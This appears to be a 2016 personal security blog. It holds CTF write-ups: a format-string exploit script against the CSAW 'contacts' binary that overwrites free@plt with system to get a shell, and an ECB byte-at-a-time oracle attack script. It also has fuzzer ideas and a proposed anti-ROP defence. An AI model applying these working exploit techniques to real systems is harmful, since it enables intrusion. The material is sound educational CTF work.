Wednesday, 14 September 2016

Local Race Condition TOUTOC finder

Just thought I'd briefly jot down a thought I had on making a racecondition finder:

-Use the #YOLOFuzZ framework to watch all opens and read to find temporary files that a program uses and then determine if they can be changed to cause bugs/vulns

Saturday, 10 September 2016

CSAW 2015 PWN Contacts

This was a fun challenge, it had a buffer overflow and a format string vuln.

I attacked this with just the format string because I thought it would add a bit of a fun challenge.

The vuln prints a user controlled string but the string is in the heap so we can't use the usual put-the-address-you-want-to-write-to-at-the-start trick

Hmm fun times ensure ;)

Here is a gdb-peda dump of the stack just before calling the format string 
0000| 0xffa60800 --> 0x9b9a068 ("payload")
0004| 0xffa60804 --> 0x9b9a058 ("1234") <- font="" nbsp="" phone="">
0008| 0xffa60808 --> 0xf7638dab 
0012| 0xffa6080c --> 0xf7790000 --> 0x1a8da8 
0016| 0xffa60810 --> 0x0 
0020| 0xffa60814 --> 0x0 
0024| 0xffa60818 --> 0xffa60848 --> 0xffa60878 --> 0x0 

This is the interesting one
0024| 0xffa60818 --> 0xffa60848 --> 0xffa60878 --> 0x0 

at offset 6 (i.e %6$x) we get a pointer 0xffa60848 to a pointer 0xffa60878 that points to somewhere that's also reachable on the stack.

This is good news.


I can use the first offset/address/thing to change the least significant byte of the second offset/address/thing.
Using that I can change the second offset to the following values:
0xffa60878
0xffa60879
0xffa6087a
0xffa6087b
and each time I do that I can use that offset (18) to write a full word (one byte at a time) of whatever I like to a spot that is also on the stack (0xffa60878: offset 30)

I wrote the address of free@plt (0x0804b014) to offset 30, then using the same ninja-wiggle-byte trick I update the least significant byte of offset 30 which now points to free@plt to get the following values
0x0804b014
0x0804b015
0x0804b016
0x0804b017
and each time I do that I can use that offset (30) to write a full word (one byte at a time) of whatever I like to the plt entry of 'read'

I choose system() (which I can easily leak from the stack)

Create new contact with name and description "/bin/sh", "/bin/sh"
and then remove it, which will call free("/bin/sh") which will actually call system("/bin/sh")

boOM!shell Popped




#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import sys

from struct import pack, unpack
from functools import partial
with open('payload', 'w') as f:
	f.write('')

def send(conn, line):
	conn.sendline(line)

	with open('payload', 'a') as f:
		line += '\x0a'
		f.write(line)

conn = process("./contacts_54f3188f64e548565bc1b87d7aa07427")

current_val = 0

def set_cur_val(a):
	global current_val
	gets_to_zero = 256 - current_val # add this to get to 0x00
	gets_to_destination = gets_to_zero + a # add this to get to where you want to be
	inc = gets_to_destination%256 # adding > 256 is the same as adding 0 so mod 256
	current_val = a
	if inc == 0: # %0c is the same as %1c so if it's 0 difference then just print nothing
		return "" 
	return "%1$0" + str(inc) + "c" 

def decompose_data(data):
	hexStr = hex(data)[2:][::-1] # little endian
	byteList = [ hexStr[i:i+2][::-1] for i in xrange(0, len(hexStr), 2) ]
	bytes = [int(x,16) for x in byteList]
	return bytes

def off_write(offset, byte):
	"""
		Use this stack addres offset, to write a byte
	"""
	global current_val
	payload = set_cur_val(byte)
	payload += "%{0}$hhn".format(offset)
	return payload

def write_and_prep_next(offsets, byte, next_lsb):
	"""
		|can't change|  |change LSB|  |full control|
		|____________|__|__________|__|____________|
		|   offset1  |->|  offset2 |->|  offset3   |
		____________________________________________

		use offset1 to change the LSB of offset2
		use offset2 to change all the bytes of offset3
		use offset3 to write wherever
	"""
	global current_val
	current_val = 0
	# write the current value
	payload = off_write(offsets[1], byte)
	# prepare our wiggle ninja pointer for the next format string
	payload +=off_write(offsets[0], next_lsb)

	return payload

def payload_chain(offsets, address, data):
	lsbAddr3 = decompose_data(address)[0]
	bytes = decompose_data(data)
	payload = partial(write_and_prep_next, offsets=offsets)
	next_lsbs = [lsbAddr3 + x for x in [1,2,3,0]]
	arr = [payload(byte=b, next_lsb=l) for b,l in zip(bytes,next_lsbs)]
	return arr


def createContact(name, description):
	send(conn, "1")
	send(conn, name) # name
	send(conn, "1337") # number
	send(conn, str(len(description))) # len of description
	send(conn, description)


def remove_contact(name):
	send(conn, "2")
	send(name)

createContact("Leak", "Libc:%2$p:::Stack:%18$p;;;")

send(conn, "4")
response = conn.recvuntil(';;;')

libc_leak = int(response[response.index('Libc:')+5 : response.index(':::')],16)
stack_leak= int(response[response.index('Stack:')+6: response.index(';;;')],16)

system = libc_leak - 20083 -60248
free_plt = 0x0804b014

def setup_chain(offsets, address, data):
	for load in payload_chain(data=data, offsets=offsets, address=address):
		createContact("Hack", load) 

offset3_addr = stack_leak
# 6 fiddles 18 to write free_plt into 30
setup_chain([6,18],  address=offset3_addr, data=free_plt) # create the contacts
# 18 fiddles 30 to write system into free_plt
setup_chain([18,30], address=free_plt, data=system) # create the contacts

createContact("/bin/sh", "/bin/sh")
send(conn, "4") # execute format string
send(conn, "2") # edit 
send(conn, "/bin/sh") # edit AAAA
conn.recvuntil(">>> Name to remove?")
conn.interactive()




Friday, 9 September 2016

YOLOFuzZ

#showerthoughts

A fuzzer that flips jump instructions in a program to force greater code coverage.


Is this a shit idea?
Probably, but lets think about it anyway

For each crash we'd produce a stack trace and a trace of jmp instructions noting which ones were changed.


Initial thoughts are that there are going to be lots of crashes. Each crash is going to take a fair bit of effort to work out if it's worth investigating.


OPTIMISATION?

Yeah ok, so I could sort the gazillion crashes by "depth" and "amount changed". Prioritising crashes that got deep into the code and required the fewest changes.

I'll have to compile the program with all those 'unroll loop' options in gcc, convert shit to memcpy's if I can and probably ignore jmps in library calls.


Ok so now this is actually sounding like it might work.


Analysis stage:

When I find a nice deep crash that only has a couple of jump flips the next stage is to find out how to change the input to legitimately hit that crash.


1) Analyse the compare instruction before the jump.
    - Back trace and find the input bytes being compared
    - Add the byte/strcmp string to a list of fuzz shit

2) Fuzz the input till it trips the jmp.



Fuzz Mapp:
Fuzz small chunks (or even individual bytes) to find the ones that have no effect on the code path and note the values required to get our current code path from the ones that do.


FuzzFlip:

Get the bytes/strings compared around jmp instructions and add those to our bucket of things to chose from when fuzzing.




The more that I think about this the more I'm thinking that it would be a beast of a fuzzer.


Example:

#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[]){
 
 if (strcmp(argv[1], "MAGIC_OMG_SECRET_KEY")){
  // Super cool code segment
 }

 return 0;
}



Most fuzzers would get fuzked over by something like this. But YOLOFuzZ™ would be like "Yolo! Let's just do this anyway!XD!" and it'd go have a fun time.



Thinking about it seriously

Now that I think about, instead of aiming for crashes, it could simply aim for code coverage. Really a program can kinda be thought of as a graph where nodes are code segments and jmps are like edges.

Here's what I'm thinking.

I run the fuzzer and for every block of code it hits it saves the trail jmps modified to get there. If there is already a path that gets there then continue from the one that uses fewer changed jumps. Essentially using Dijkstra's algorithm to find code coverage.

Once it's got 100% coverage, take the most commonly needed flipped jmps and start trying to find legit ways to hit them. I'll probably want to hang on to all the different ways to hit a function incase the shortest one doesn't work.

To find valid ways of hitting the jumps, analyse the comparison instructions that precede the jump. We tackle this part in two directions, from our input and from the program. Find our input and find what it's comparing it against (I know it's not that simple but a lot of cases fall under this).

- Search for any matches that occur in our input, change them, run again and see if they reach the comparison. 
- Backtrace and mark out regions of memory, look what goes there, where does that come from etc..
- Look for string comparisons, constants, global variables etc.
Fuzz all of the above until we get past our jump. 
Continue adding to the possible paths in the program.

At this point we have a bazillion different ways to reach various code segments and we'll undoubtably have a bunch of crashes. This gives us heaps of attack vectors and interesting spots to attack. Pick somewhere that looks interesting and start applying some human-smarts into changing the input so that it can hit that target.

You could even apply this in reverse. Find an interesting code segment and then point YOLOFuzZ at it and you can then find a way to tweak the input to get there.

Actually implementing this would be a fairly big task. I reckon I could get something pretty simple working if I put a few weekends to it. The backtracing etc would be the hardest that has like infinite scope.

I'd make it as modular as possible and have it so that I could easily add an analysis module that dumps where the jumps hit. That way, the module can return possible input that will trip the jump. Such flexible :)

Another trek of a job is the testing harness, that's a super crucial part of any fuzzer.

Another Idea for a fuzzer. Generate all possible inputs! Every if statement, fork off and go down both, generating the required input as needed mwahahaha. Ok that's enough fuzzy thinking for now, I'll save analysis of that idea for another day. 


PS: as a bonus, this fuzzer would also crack a lot of software





Sunday, 4 September 2016

RET_CHK: Protect against ROP exploits

I was exploiting a ctf challenge that required a ROP chain recently and I had an idea that would make ROP exploitation impossible (or way more complicated at the very least)

Background:

There are a number of protections in place to protect against exploiting buffer overflows, NX stack, ASLR and Stack cookies are the main ones. (If you're not sure what they are, let me introduce you to my friend google.com)

With all these turned on, buffer related exploits require one or two info leaks to get the stack cookie and some offsets to bypass ASLR. From there, use ROP gadgets (borrowed chunks of code e.g pop ebx, pop eax, ret) to pop a shell.

Theoretical New Idea:

RET_CHK (PASTEBIN_SECURE_RET was a bit of a mouthfull)

To prevent ROP Related Exploits, extend the 'ret' instruction to add a check that the return address is just after a call instruction. To make it compatible with all the weird hacks that people want to do, add an instruction ret-insecure, that acts as normal ret.

This will only add 1 or 2 clock cycles (probably) to every function call.

Clock cycles are really really fast, but programs do make a lot of function calls. This technique can be removed from some functions that get called very frequently. It makes exploiting easier but still much harder than not having it at all.


How to sploit?

Of course, as with all new security features, there are ways to get around this.
Typically, once you get to the point where you control eip, you have boatloads of rop gadgets to choose from and if you've got libc you can probably do anything you want with only a little effort.
With RetCheck™ enabled, the spots you can jump to goes from all of the code segment and libraries to the 0.01% of assembly instructions that directly follow a call instruction. (Actual percentage of call instructions may vary)

Firstly, due to the already overwhelming pressure to make things fast, any implementation will probably only do something like "die if [eip-4] != call_instruction_byte_code". This extends our reach to 4 bytes after some offset assembly that looks like a call instruction and doesn't break everything.

Then comes the fun bit. We take our limited set of gadgets and profile them to find their net effect on system state. Pretty much glorified assembly fuzzing. Run them a bunch with different initial stacks and registers, then find the patterns. Look for those pesky "won't make it crash" requirements, the registers and memory regions it does and doesn't touch, as well as the effect it has on different values. This will be handled by my super smart deep learning neural network magic engine that I haven't written yet.

Yes I can hear you saying "why don't you just look at the code and work out what it does". Sure, you can do that, take all 10,000 potential gadgets and manually do a writeup of what input it takes to not crash and the effect it has on all the registers and values on the stack etc. Good luck. With that.

Meanwhile, back in lazy land, I'll build my assembly-fuzzing-AI and have a general purpose tool forevers.

At this point we have a bunch of gadget blobs that each have a net effect on current state. By chaining these together with a stack of stuff we control we can find combinations that achieve what we want (maybe).

Popping a shell becomes quite hard if you don't have any easy wins like "call whatevs; call system". 

If you allow there to be any ret's (even 1 is enough), then this becomes easier. Find a chain of valid ret-chks that ends in an insecure-ret. Use the insecure-ret to do any gadget of choice and if that gadget has a ret-check then add your chain of valid ret-chks to get another gadget-of-choice. Just hope that the valid ret-chk chain doesn't ruin what the last do-what-you-want-gadget did.

With enough insecure-ret's it acts as only a mild to severe nuisance finding a chain that doesn't break everything.

Either way, this makes exploitation harder at a not-too-unreasonable cost.

We'll probably have a smarter solution that totally solves buffer overflows in the near future anyway, hence this is a blog post not a patent application

The super smart machine genius assembly fuzzer AI  thing would probably be a useful tool in current exploitation but it's too much of a trek for me for now and is probably not necessary 99% of the time.

Hack the planet
-pasteBin

Friday, 26 August 2016

IceCTF leet crypto

This is my first proper CTF writeup.
I've decided to take detailed notes during CTF's and then just publish these messy notes. If people find this useful and it proves to be more than just a brain dump for me. Let me know, leave a comment, share it or something I don't know.


: WRITEUP :
The first thing I did was give it increasing number of nulls to see what would happen



#!/usr/bin/python
import base64
from pwn import *

# find the length of the block

context.log_level = 30

def send_msg(msg):
 conn = remote("l33tcrypt.vuln.icec.tf", 6001)
 conn.sendline(base64.b64encode(msg))
 conn.recvuntil('\n')
 conn.recvuntil('\n')
 conn.recvuntil('\n')

 data = conn.recvuntil('\n')
 return base64.b64decode(data).encode('hex')

plaintext = "l33tserver please"

for x in range(29,100):
 print "Length: {0}, Nulls: {1}".format(x+ len(plaintext), x)
 print send_msg(plaintext + '\x00'*x)


(See the bottom of this blog for the output of this script, it's the massive blob of long lines)


# Length: 48, Nulls: 31  387ed91be0a2273464b8d8313dc1243226ee009a4b13727a78e7ea6f1b160d40c6db5708e552a95dc626d83c633e2c4e4121eeb2df9070dcfc8041744885dc16e1ee341ff8bc4f4f98cc57bcba342e2abb20430435b3c850611d77e503158b8b5df2095333941a65f2cd00810ce4902e

from this I can see that it's ecb mode with 16 bytes and that all nulls coresponds to:
c6db5708e552a95dc626d83c633e2c4e
which happends after 31 nulls are added

To solve this challenge, I'm going to pad out untill I get to the first block that I controll totally (padding of 15 nulls)
then I'm going to give it 15 nulls and it'll add the flag to after my nulls

this will give me a block of 15 nulls + the first byte of the flag

Now all I need to do is send it 15 nulls and bruteforce the last byte untill I get a matching block

start = "l33tserver please"
padding = '\x00'*15
nulls = '\x00'*15

request = start + padding + nulls
response = send_msg(request)

blocks = chunks(response,16*2) # 16 block size, *2 because hex representation

goal_block = blocks[2]
print "Need to get this block " + goal_block

Need to get this block 0b82e0db38fd6d6f400e0e28b2e696b7

Cool, now to brute force

adding a bit of abstraction to make things easier


def get_encoding(msg):
 start = "l33tserver please"
 padding = '\x00'*15

 request = start + padding + msg
 response = send_msg(request)

 blocks = chunks(response,16*2) # 16 block size, *2 because hex representation

 my_block = blocks[2]
 return my_block


goal_block = get_encoding('\x00'*15)
print "Need to get this block " + goal_block

for x in range(0xff + 1):
 print "x:{0}, enc:{1}".format(x, get_encoding('\x00'*15 + chr(x)))


x:0, enc:c6db5708e552a95dc626d83c633e2c4e
x:1, enc:4dacc29c56aa4e1f117618dcbd88189f
x:2, enc:cdc8706631ad9df71047e0b87445dbd4
x:3, enc:7c9ce0c17be2bfb0e89f0d42ef52ec9e
x:4, enc:4e31328ad19d16972fb482b409bb6ef8
x:5, enc:697abb5cb63a810c2caf4008beff5392
x:6, enc:d4ce7ab3f4b96d8e26deee5a6ffe769c
x:7, enc:9730ab1ce0297b9666f4ce77801327eb
... SNIP ...
x:63, enc:331ab76a634f7e888b0ce07d80494a33
x:64, enc:4e0c981ecdf44b6f74c06741dabeb0c2
x:65, enc:abc19b296094a0ca42551ff1188df728
x:66, enc:b13c8819ff966468a577d821ae3b4df9
x:67, enc:7e781f3289dc9a012381db46d45888fb
x:68, enc:7202a80214a0e793b2b0b9731bbf5c8f
x:69, enc:67139467f408cc9e257aa20e99dcdc1c
x:70, enc:464b6db800b126f7effee329bb60ba0c
x:71, enc:8f02d853bd28e52be36cd3b613a34dbe
x:72, enc:6bc2627940488e422d6aca307c65cf90
x:73, enc:0b82e0db38fd6d6f400e0e28b2e696b7  !** Bingo **!
x:74, enc:cc779843511e78a8e65aa1240ab7158c
x:75, enc:037d638fe69e7b866608c123e681044c
x:76, enc:d74e1d69463acd3399a91aa43eb2d976
x:77, enc:b7ea90639014417df1635252f10bf55b

So the first byte of the flag is hex(73) = I, which is what we expect


And a little more abstraction later
def get_next_letter(msg):
 """
 Give this function a string of 15 chars
 and it'll bruteforce to find the next char in
 the flag
 """
 # Need to get this block
 goal_block = get_encoding(msg)

 for x in range(0xff + 1):
  block = get_encoding(msg+ chr(x))
  if block == goal_block:
   return chr(x)
 return '?'


flag = ''
currentBlock = '\x00'*15
while True:
 # get the next letter
 nl = get_next_letter(currentBlock)
 flag.append(nl)
 print flag

 # tack the new letter to the back of the current block
 # and remove the one at the start
 currentBlock = currentBlock[1:] + nl

The idea here is that I'll have a currentBlock of length 15 that starts as nulls
000000000000000000000000000000
and I'll brute force that to find the first byte of the flag 0x49 ('I')
then I'll update the block to have the I in it and I'll only give it 14 nulls
getting the encrypted first 2 characters of the flag
and I'll then send it 14 nulls, the first character and then brute force again on the last byte
to find the second character
repeat for the whole block

adjust some stuff to work after you get the first block
and chuck in some multithreading
and you get this



def return_encoding_with_msg(msg, block_num=2):
 # print 'getting encoding'
 try:
  enc = get_encoding(msg, block_num)
  # print 'got encoding! I\'m ' + msg[-1]
  return enc , msg
 except:
  print ':( having a nap and trying again'
  time.sleep(1)
  return return_encoding_with_msg(msg, block_num)


def get_next_letter(banana):
 """
 Give this function a string of 15 chars
 and it'll bruteforce to find the next char in
 the flag
 """

 nulls = '\x00'*(15 - len(banana)%16)
 # 15 if we just started i.e we want to bruteforce the first character
 # 14 if we've got 1 so we want to
 # "Need to get this block  goal_block

 # once we get the first block
 # we'll need to look at the next block over
 # so go back to sending 15 nulls
 # so that the 2nd to 16th characters are in the next block
 extra = int(len(banana)/16)
 goal_block = get_encoding(nulls, block_num=(2 + extra))
 attempts = []
 for x in range(0xff + 1):
  block = nulls + banana + chr(x)
  # e = get_encoding(block, 2+extra)
  # if e == goal_block:
  #  return chr(x)
  attempts.append(block)


  if len(attempts) == 64:
   # print attempts
   pool = Pool(processes=64)
   res = pool.map(partial(return_encoding_with_msg, block_num=(2 + extra)), attempts)
   pool.close() 
   pool.join()
   for r, msg in res:
    # print r + msg[-1]
    if r == goal_block:
     print 'Success!'
     print msg
     return msg[-1]
   # print 'Trying another round of 10'
   attempts = []

 return '?'


flag = []
while True:
 # get the next letter
 nl = get_next_letter(''.join(flag))
 flag.append(nl)
 print ''.join(flag)


While that was busy cracking I made it a bit faster by checking more likely things first


You should copy paste this giant blob into a text editor that doesn't line wrap so that you can see the boundaries of the blocks.
# Length: 17, Nulls: 0   387ed91be0a2273464b8d8313dc12432567a487af41ced6a0401b4d83956a9beb465108a947c05f9b9f07304919b0e35ae4ca18d90d00ac21b52362d685c4c69f5c9838dcca6aad70f1c40b393583735
# Length: 18, Nulls: 1   387ed91be0a2273464b8d8313dc1243249cfb404c4b6c3956963a96b7eed96430d0321017f0a3245d56cd4e47707eb8c951820f6bfe340a33b1ef0acc273560f3bcf138a5fe72f3a9654bfd2582cb263
# Length: 19, Nulls: 2   387ed91be0a2273464b8d8313dc12432176c7cf245376daf52371928cb9df7dbf67ef27d13d460fe1b2a25c14624bbff8428fab86c0e1210db0aadaa46ad5433ddd758c52e3c9b06994c30fc1f495201
# Length: 20, Nulls: 3   387ed91be0a2273464b8d8313dc12432615e8376913eea815adc08483ba52ebbfe9911f31b6694403e4a83e036b42b07eb061a39092dfe254b001e85a4cab2822f3b56b407fc4cc76021a0f971c285dd
# Length: 21, Nulls: 4   387ed91be0a2273464b8d8313dc124322c29104aa30600bf9dacf0d2563a69fb2cb3308c99119ba359d2bd13c52d4d22b1edc20249ceee0a7fcd73331bdc2f07016a3b098794591d2ed4446611da351c
# Length: 22, Nulls: 5   387ed91be0a2273464b8d8313dc124324bb04b58b69bca37968314604b364b94ad7f6b3171d5b639907f565909bcb8a555da1f080adf94bb541e715074d3c9460fed8443c92ddcb7112a31b587bc09f6
# Length: 23, Nulls: 6   387ed91be0a2273464b8d8313dc1243246daa79c7ab0eddebb4e2e1f476e1239f852be535ad9bc8c6822a9c27e25cd51f8bbee7b725ef98fc0cddf6e2b00a1adaff84a27b34909e39f9df32e1be07445
# Length: 24, Nulls: 7   387ed91be0a2273464b8d8313dc124327f5162d26b0736c5287a3427ed0a5215e514acb44934277ffe1f7404211c6de1cab00e72a877a19d34bfe9aa7ca0cae9cc9febced4a7f8f49600039b689ca268
# Length: 25, Nulls: 8   387ed91be0a2273464b8d8313dc12432e921eeb1798d9bb195b06b9e1374272e2c780cc8dab801a55b7d4595d5d7f8821123a6930dc611488a4e7c8e73c64e44000929ca29e9de5f4ed0e218edcf6e72
# Length: 26, Nulls: 9   387ed91be0a2273464b8d8313dc12432df0c71dad6e13f7e28fcdb1705812862e0330b5b75832d9ffa1d51bb0b734c3b5febb840292084f72ff04538589d31cc4881aa36bc592d9fa983ebd276d5d6b0
# Length: 27, Nulls: 10  387ed91be0a2273464b8d8313dc12432f200f81e0230e0dca133c6f74f76223a0a08eb45f2bde041f49f3bd62691fce244d8e6bdacfbaf3873642eae7e091d0faf3884045818d3dc997dd26cfeceba0f
# Length: 28, Nulls: 11  387ed91be0a2273464b8d8313dc124328a0e2265db1b22d279659b0bfe6f3ef802fee4c70356e1e4f534bdf73d07ffb96096036d35155afd9cf2b3a3fd29fd417d49a7e7d1b962bd61a398837d6b7ab3
# Length: 29, Nulls: 12  387ed91be0a2273464b8d8313dc1243243cef8e3fcc1c1dfb476b43b9fe038b1684404d8f25b53759f007758304f19d95593abdb1affd72ca2eced5cd0f90124a9a3169f9334066e8da23c8aa3cca3d3
# Length: 30, Nulls: 13  387ed91be0a2273464b8d8313dc12432c119e9bc2dbda4fcbad77fcc3cd750969e3d36bcfd6a424f2183d3364592ef97a8fdd7ca48f5f00ec7a13c9a21d82292011df537473098ce4ffe0d8e12fcc0e1
# Length: 31, Nulls: 14  387ed91be0a2273464b8d8313dc12432bb3cf36dbb0c90b451d2bb34608f4248714445f04927def76405cd0a83799f07a8ed402ad24d0e2f43d4d9361eb8284cebddbacaa25c33ec35562e026a0ee649dd1f9f706aeab9959486696f82f00fbf

# Length: 32, Nulls: 15  387ed91be0a2273464b8d8313dc1243226ee009a4b13727a78e7ea6f1b160d404121eeb2df9070dcfc8041744885dc16e1ee341ff8bc4f4f98cc57bcba342e2abb20430435b3c850611d77e503158b8b5df2095333941a65f2cd00810ce4902e
# Length: 33, Nulls: 16  387ed91be0a2273464b8d8313dc1243226ee009a4b13727a78e7ea6f1b160d40b5fe89806d3a8bef7f40a8d38040a707b465108a947c05f9b9f07304919b0e35ae4ca18d90d00ac21b52362d685c4c69f5c9838dcca6aad70f1c40b393583735
# Length: 34, Nulls: 17  387ed91be0a2273464b8d8313dc1243226ee009a4b13727a78e7ea6f1b160d4066a65f13d2d0619cdeb702e071aeaae40d0321017f0a3245d56cd4e47707eb8c951820f6bfe340a33b1ef0acc273560f3bcf138a5fe72f3a9654bfd2582cb263
# Length: 35, Nulls: 18  387ed91be0a2273464b8d8313dc1243226ee009a4b13727a78e7ea6f1b160d40e7638b5cf44cbfc3bca1be6a992e8c5bf67ef27d13d460fe1b2a25c14624bbff8428fab86c0e1210db0aadaa46ad5433ddd758c52e3c9b06994c30fc1f495201
# Length: 36, Nulls: 19  387ed91be0a2273464b8d8313dc1243226ee009a4b13727a78e7ea6f1b160d401d9b355f5ef369066d88e091197420f8fe9911f31b6694403e4a83e036b42b07eb061a39092dfe254b001e85a4cab2822f3b56b407fc4cc76021a0f971c285dd
# Length: 37, Nulls: 20  387ed91be0a2273464b8d8313dc1243226ee009a4b13727a78e7ea6f1b160d402392efb50f50465f4f591aad8b9df62f2cb3308c99119ba359d2bd13c52d4d22b1edc20249ceee0a7fcd73331bdc2f07016a3b098794591d2ed4446611da351c
# Length: 38, Nulls: 21  387ed91be0a2273464b8d8313dc1243226ee009a4b13727a78e7ea6f1b160d40af1261b355b9b251f35bcd554e44bd9fad7f6b3171d5b639907f565909bcb8a555da1f080adf94bb541e715074d3c9460fed8443c92ddcb7112a31b587bc09f6
# Length: 39, Nulls: 22  387ed91be0a2273464b8d8313dc1243226ee009a4b13727a78e7ea6f1b160d404ebe06895f2ada42e195502338feb6fbf852be535ad9bc8c6822a9c27e25cd51f8bbee7b725ef98fc0cddf6e2b00a1adaff84a27b34909e39f9df32e1be07445
# Length: 40, Nulls: 23  387ed91be0a2273464b8d8313dc1243226ee009a4b13727a78e7ea6f1b160d40c1f1b2cfccf8c6c7080fb9ac19a73632e514acb44934277ffe1f7404211c6de1cab00e72a877a19d34bfe9aa7ca0cae9cc9febced4a7f8f49600039b689ca268
# Length: 41, Nulls: 24  387ed91be0a2273464b8d8313dc1243226ee009a4b13727a78e7ea6f1b160d40b71eca60aa2dfeff1e6613a39104e1a12c780cc8dab801a55b7d4595d5d7f8821123a6930dc611488a4e7c8e73c64e44000929ca29e9de5f4ed0e218edcf6e72
# Length: 42, Nulls: 25  387ed91be0a2273464b8d8313dc1243226ee009a4b13727a78e7ea6f1b160d40d1b72c09e5e9cbeb44a858942a650f40e0330b5b75832d9ffa1d51bb0b734c3b5febb840292084f72ff04538589d31cc4881aa36bc592d9fa983ebd276d5d6b0
# Length: 43, Nulls: 26  387ed91be0a2273464b8d8313dc1243226ee009a4b13727a78e7ea6f1b160d409a0ebdeb3cd86378d06f25a958f354d20a08eb45f2bde041f49f3bd62691fce244d8e6bdacfbaf3873642eae7e091d0faf3884045818d3dc997dd26cfeceba0f
# Length: 44, Nulls: 27  387ed91be0a2273464b8d8313dc1243226ee009a4b13727a78e7ea6f1b160d4048f07b78c4acd78dc84e084c412f726002fee4c70356e1e4f534bdf73d07ffb96096036d35155afd9cf2b3a3fd29fd417d49a7e7d1b962bd61a398837d6b7ab3
# Length: 45, Nulls: 28  387ed91be0a2273464b8d8313dc1243226ee009a4b13727a78e7ea6f1b160d401da941d1725ac973d57adadfb23e38f7684404d8f25b53759f007758304f19d95593abdb1affd72ca2eced5cd0f90124a9a3169f9334066e8da23c8aa3cca3d3
# Length: 46, Nulls: 29  387ed91be0a2273464b8d8313dc1243226ee009a4b13727a78e7ea6f1b160d40fc7da7e42471ba2ac67634d40e1d0cc29e3d36bcfd6a424f2183d3364592ef97a8fdd7ca48f5f00ec7a13c9a21d82292011df537473098ce4ffe0d8e12fcc0e1
# Length: 47, Nulls: 30  387ed91be0a2273464b8d8313dc1243226ee009a4b13727a78e7ea6f1b160d400b82e0db38fd6d6f400e0e28b2e696b7714445f04927def76405cd0a83799f07a8ed402ad24d0e2f43d4d9361eb8284cebddbacaa25c33ec35562e026a0ee649dd1f9f706aeab9959486696f82f00fbf

# Length: 48, Nulls: 31  387ed91be0a2273464b8d8313dc1243226ee009a4b13727a78e7ea6f1b160d40c6db5708e552a95dc626d83c633e2c4e4121eeb2df9070dcfc8041744885dc16e1ee341ff8bc4f4f98cc57bcba342e2abb20430435b3c850611d77e503158b8b5df2095333941a65f2cd00810ce4902e
# Length: 49, Nulls: 32  387ed91be0a2273464b8d8313dc1243226ee009a4b13727a78e7ea6f1b160d40c6db5708e552a95dc626d83c633e2c4eb5fe89806d3a8bef7f40a8d38040a707b465108a947c05f9b9f07304919b0e35ae4ca18d90d00ac21b52362d685c4c69f5c9838dcca6aad70f1c40b393583735
# Length: 50, Nulls: 33  387ed91be0a2273464b8d8313dc1243226ee009a4b13727a78e7ea6f1b160d40c6db5708e552a95dc626d83c633e2c4e66a65f13d2d0619cdeb702e071aeaae40d0321017f0a3245d56cd4e47707eb8c951820f6bfe340a33b1ef0acc273560f3bcf138a5fe72f3a9654bfd2582cb263
# Length: 51, Nulls: 34  387ed91be0a2273464b8d8313dc1243226ee009a4b13727a78e7ea6f1b160d40c6db5708e552a95dc626d83c633e2c4ee7638b5cf44cbfc3bca1be6a992e8c5bf67ef27d13d460fe1b2a25c14624bbff8428fab86c0e1210db0aadaa46ad5433ddd758c52e3c9b06994c30fc1f495201
# Length: 52, Nulls: 35  387ed91be0a2273464b8d8313dc1243226ee009a4b13727a78e7ea6f1b160d40c6db5708e552a95dc626d83c633e2c4e1d9b355f5ef369066d88e091197420f8fe9911f31b6694403e4a83e036b42b07eb061a39092dfe254b001e85a4cab2822f3b56b407fc4cc76021a0f971c285dd
# Length: 53, Nulls: 36  387ed91be0a2273464b8d8313dc1243226ee009a4b13727a78e7ea6f1b160d40c6db5708e552a95dc626d83c633e2c4e2392efb50f50465f4f591aad8b9df62f2cb3308c99119ba359d2bd13c52d4d22b1edc20249ceee0a7fcd73331bdc2f07016a3b098794591d2ed4446611da351c
# Length: 54, Nulls: 37  387ed91be0a2273464b8d8313dc1243226ee009a4b13727a78e7ea6f1b160d40c6db5708e552a95dc626d83c633e2c4eaf1261b355b9b251f35bcd554e44bd9fad7f6b3171d5b639907f565909bcb8a555da1f080adf94bb541e715074d3c9460fed8443c92ddcb7112a31b587bc09f6
# Length: 55, Nulls: 38  387ed91be0a2273464b8d8313dc1243226ee009a4b13727a78e7ea6f1b160d40c6db5708e552a95dc626d83c633e2c4e4ebe06895f2ada42e195502338feb6fbf852be535ad9bc8c6822a9c27e25cd51f8bbee7b725ef98fc0cddf6e2b00a1adaff84a27b34909e39f9df32e1be07445
# Length: 56, Nulls: 39  387ed91be0a2273464b8d8313dc1243226ee009a4b13727a78e7ea6f1b160d40c6db5708e552a95dc626d83c633e2c4ec1f1b2cfccf8c6c7080fb9ac19a73632e514acb44934277ffe1f7404211c6de1cab00e72a877a19d34bfe9aa7ca0cae9cc9febced4a7f8f49600039b689ca268
# Length: 57, Nulls: 40  387ed91be0a2273464b8d8313dc1243226ee009a4b13727a78e7ea6f1b160d40c6db5708e552a95dc626d83c633e2c4eb71eca60aa2dfeff1e6613a39104e1a12c780cc8dab801a55b7d4595d5d7f8821123a6930dc611488a4e7c8e73c64e44000929ca29e9de5f4ed0e218edcf6e72
# Length: 58, Nulls: 41  387ed91be0a2273464b8d8313dc1243226ee009a4b13727a78e7ea6f1b160d40c6db5708e552a95dc626d83c633e2c4ed1b72c09e5e9cbeb44a858942a650f40e0330b5b75832d9ffa1d51bb0b734c3b5febb840292084f72ff04538589d31cc4881aa36bc592d9fa983ebd276d5d6b0
# Length: 59, Nulls: 42  387ed91be0a2273464b8d8313dc1243226ee009a4b13727a78e7ea6f1b160d40c6db5708e552a95dc626d83c633e2c4e9a0ebdeb3cd86378d06f25a958f354d20a08eb45f2bde041f49f3bd62691fce244d8e6bdacfbaf3873642eae7e091d0faf3884045818d3dc997dd26cfeceba0f
# Length: 60, Nulls: 43  387ed91be0a2273464b8d8313dc1243226ee009a4b13727a78e7ea6f1b160d40c6db5708e552a95dc626d83c633e2c4e48f07b78c4acd78dc84e084c412f726002fee4c70356e1e4f534bdf73d07ffb96096036d35155afd9cf2b3a3fd29fd417d49a7e7d1b962bd61a398837d6b7ab3
# Length: 61, Nulls: 44  387ed91be0a2273464b8d8313dc1243226ee009a4b13727a78e7ea6f1b160d40c6db5708e552a95dc626d83c633e2c4e1da941d1725ac973d57adadfb23e38f7684404d8f25b53759f007758304f19d95593abdb1affd72ca2eced5cd0f90124a9a3169f9334066e8da23c8aa3cca3d3
